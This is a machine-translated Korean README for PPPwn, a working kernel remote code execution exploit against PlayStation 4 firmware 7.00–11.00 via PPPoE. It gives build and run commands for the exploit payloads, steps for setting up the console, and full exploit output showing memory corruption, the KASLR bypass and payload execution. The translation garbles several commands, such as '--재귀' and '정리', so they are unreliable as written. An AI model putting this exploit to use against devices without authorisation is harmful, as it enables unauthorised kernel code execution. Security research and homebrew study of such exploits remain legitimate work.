PPPwn은 PlayStation 4 FW 11.00까지의 커널 원격 코드 실행 익스플로잇입니다. 이는 PlayStation에 책임감 있게 보고된 CVE-2006-4304에 대한 개념 증명 공격입니다.
지원되는 버전은 다음과 같습니다:
FW 7.00 / 7.01 / 7.02
FW 7.50 / 7.51 / 7.55
봄 8.00 / 8.01 / 8.03
FW 8.50 / 8.52
FW 9.00
FW 9.03 / 9.04
FW 9.50 / 9.51 / 9.60
FW 10.00 / 10.01
FW 10.50 / 10.70 / 10.71
FW 11.00
더 추가할 수 있습니다. (홍보 환영합니다)
이 익스플로잇은 개념 증명으로 PS4에 PPPwned
만 인쇄합니다. Mira 또는 유사한 홈브류 활성화 프로그램을 실행하려면 stage2.bin
페이로드를 조정해야 합니다.
이더넷 포트가 있는 컴퓨터
USB 어댑터도 작동합니다
이더넷 케이블
리눅스
VirtualBox를 사용하면 Bridged Adapter
있는 Linux VM을 네트워크 어댑터로 생성하여 VM의 이더넷 포트를 사용할 수 있습니다.
Python3 및 gcc 설치됨
컴퓨터에서 저장소를 복제합니다.
git clone --재귀 https://github.com/TheOfficialFloW/PPPwn
디렉터리를 복제된 저장소로 변경합니다.
CD PPPwn
요구 사항을 설치합니다.
sudo pip install -r 요구 사항.txt
페이로드를 컴파일합니다.
make -C stage1 FW=1100 정리 && make -C stage1 FW=1100 make -C stage2 FW=1100 정리 && make -C stage2 FW=1100
다른 펌웨어(예: FW 9.00)의 경우 FW=900
전달합니다.
아직 익스플로잇을 실행하지 말고(아직 Enter를 누르지 마십시오) 프롬프트에서 다음 명령을 준비하십시오(올바른 인터페이스는 ifconfig
참조하십시오):
sudo python3 pppwn.py --interface=enp0s3 --fw=1100
다른 펌웨어(예: FW 9.00)의 경우 --fw=900
전달합니다.
PS4에서:
Settings
으로 이동한 다음 Network
로 이동하세요.
Set Up Internet connection
선택하고 Use a LAN Cable
선택하세요.
Custom
설정을 선택하고 IP Address Settings
으로 PPPoE
선택하십시오.
PPPoE User ID
및 PPPoE Password
에 무엇이든 입력하세요.
DNS Settings
및 MTU Settings
에 대해 Automatic
선택
Proxy Server
에 Do Not Use
선택하십시오.
이제 Test Internet Connection
에서 컨트롤러의 'X' 버튼과 키보드의 'Enter' 버튼을 동시에 누르세요(컴퓨터에서 Python 스크립트를 실행할 준비가 되어 있음).
이 PPPOE 주입을 다시 시도하기 전에 항상 콘솔에 "네트워크에 연결할 수 없습니다: (NW-31274-7)" 메시지가 표시될 때까지 기다리십시오.
익스플로잇이 실패하거나 PS4가 충돌하는 경우 인터넷 설정을 건너뛰고 Test Internet Connection
클릭하기만 하면 됩니다. pppwn.py
스크립트를 종료하고 컴퓨터에서 다시 실행한 다음 PS4에서 Test Internet Connection
: 항상 동시에를 클릭하세요.
익스플로잇이 작동하면 아래와 유사한 출력이 표시되고 Cannot connect to network.
메시지가 표시되어야 합니다. PS4에 PPPwned
인쇄되거나 그 반대가 됩니다.
[+] PPPwn - PlayStation 4 PPPoE RCE 제작: theflow [+] 인수: 인터페이스=enp0s3 fw=1100 stage1=stage1/stage1.bin stage2=stage2/stage2.bin [+] 0단계: 초기화 [*] PADI를 기다리는 중... [+] pppoe_softc: 0xffffabd634beba00 [+] 대상 MAC: xx:xx:xx:xx:xx:xx [+] 소스 MAC: 07:ba:be:34:d6:ab [+] AC 쿠키 길이: 0x4e0 [*] PADO를 보내는 중... [*] PADR을 기다리는 중... [*] PADS를 보내는 중... [*] LCP 구성 요청을 기다리는 중... [*] LCP 구성 ACK를 보내는 중... [*] LCP 구성 요청을 보내는 중... [*] LCP 구성 ACK를 기다리는 중... [*] IPCP 구성 요청을 기다리는 중... [*] IPCP 구성 NAK를 보내는 중... [*] IPCP 구성 요청을 기다리는 중... [*] IPCP 구성 ACK를 보내는 중... [*] IPCP 구성 요청을 보내는 중... [*] IPCP 구성 ACK를 기다리는 중... [*] 인터페이스가 준비되기를 기다리는 중... [+] 대상 IPv6: fe80::2d9:d1ff:febc:83e4 [+] 힙 정리...완료 [+] 1단계: 메모리 손상 [+] CPU 0에 고정 중...완료 [*] 악의적인 LCP 구성 요청을 보내는 중... [*] LCP 구성 요청을 기다리는 중... [*] LCP 구성 ACK를 보내는 중... [*] LCP 구성 요청을 보내는 중... [*] LCP 구성 ACK를 기다리는 중... [*] IPCP 구성 요청을 기다리는 중... [*] IPCP 구성 NAK를 보내는 중... [*] IPCP 구성 요청을 기다리는 중... [*] IPCP 구성 ACK를 보내는 중... [*] IPCP 구성 요청을 보내는 중... [*] IPCP 구성 ACK를 기다리는 중... [+] 손상된 개체를 검색하는 중...fe80::0fdf:4141:4141:4141을 발견했습니다. [+] 2단계: KASLR 패배 [*] KASLR을 물리치고... [+] pppoe_softc_list: 0xffffffff884de578 [+] kaslr_offset: 0x3ffc000 [+] 3단계: 원격 코드 실행 [*] LCP 종료 요청을 보내는 중... [*] PADI를 기다리는 중... [+] pppoe_softc: 0xffffabd634beba00 [+] 대상 MAC: xx:xx:xx:xx:xx:xx [+] 소스 MAC: 97:df:ea:86:ff:ff [+] AC 쿠키 길이: 0x511 [*] PADO를 보내는 중... [*] PADR을 기다리는 중... [*] PADS를 보내는 중... [*] 코드 실행 트리거 중... [*] 1단계 재개를 기다리는 중... [*] PADT를 보내는 중... [*] PADI를 기다리는 중... [+] pppoe_softc: 0xffffabd634be9200 [+] 대상 MAC: xx:xx:xx:xx:xx:xx [+] AC 쿠키 길이: 0x0 [*] PADO를 보내는 중... [*] PADR을 기다리는 중... [*] PADS를 보내는 중... [*] LCP 구성 요청을 기다리는 중... [*] LCP 구성 ACK를 보내는 중... [*] LCP 구성 요청을 보내는 중... [*] LCP 구성 ACK를 기다리는 중... [*] IPCP 구성 요청을 기다리는 중... [*] IPCP 구성 NAK를 보내는 중... [*] IPCP 구성 요청을 기다리는 중... [*] IPCP 구성 ACK를 보내는 중... [*] IPCP 구성 요청을 보내는 중... [*] IPCP 구성 ACK를 기다리는 중... [+] 4단계: 임의 페이로드 실행 [*] stage2 페이로드를 보내는 중... [+] 완료되었습니다!
코드는 Apple Silicon에서 컴파일되지 않으며 AMD64 아키텍처가 필요합니다. 필요한 bin 파일을 빌드하는 docker를 사용하는 해결 방법이 있습니다. 이 저장소를 Mac 시스템에 복제한 다음 repo 폴더에서 ./build-macarm.sh
실행하세요. 그러면 PS4 FW 1100용 바이너리가 빌드되고 필요한 파일이 올바른 폴더에 배치됩니다. 다른 버전, 즉 900에 대한 바이너리를 빌드하려면 다음과 같은 명령을 실행하십시오: ./build-macarm.sh 900
. 빌드되면 이 폴더 구조를 Linux VM에 복사하고 위의 지침에 따라 실행합니다. 이는 VMware Fusion 13.5.1을 사용하여 테스트되었으며 VM 게스트는 Ubuntu 24.04이고 호스트 시스템은 MacOS 14.4.1입니다.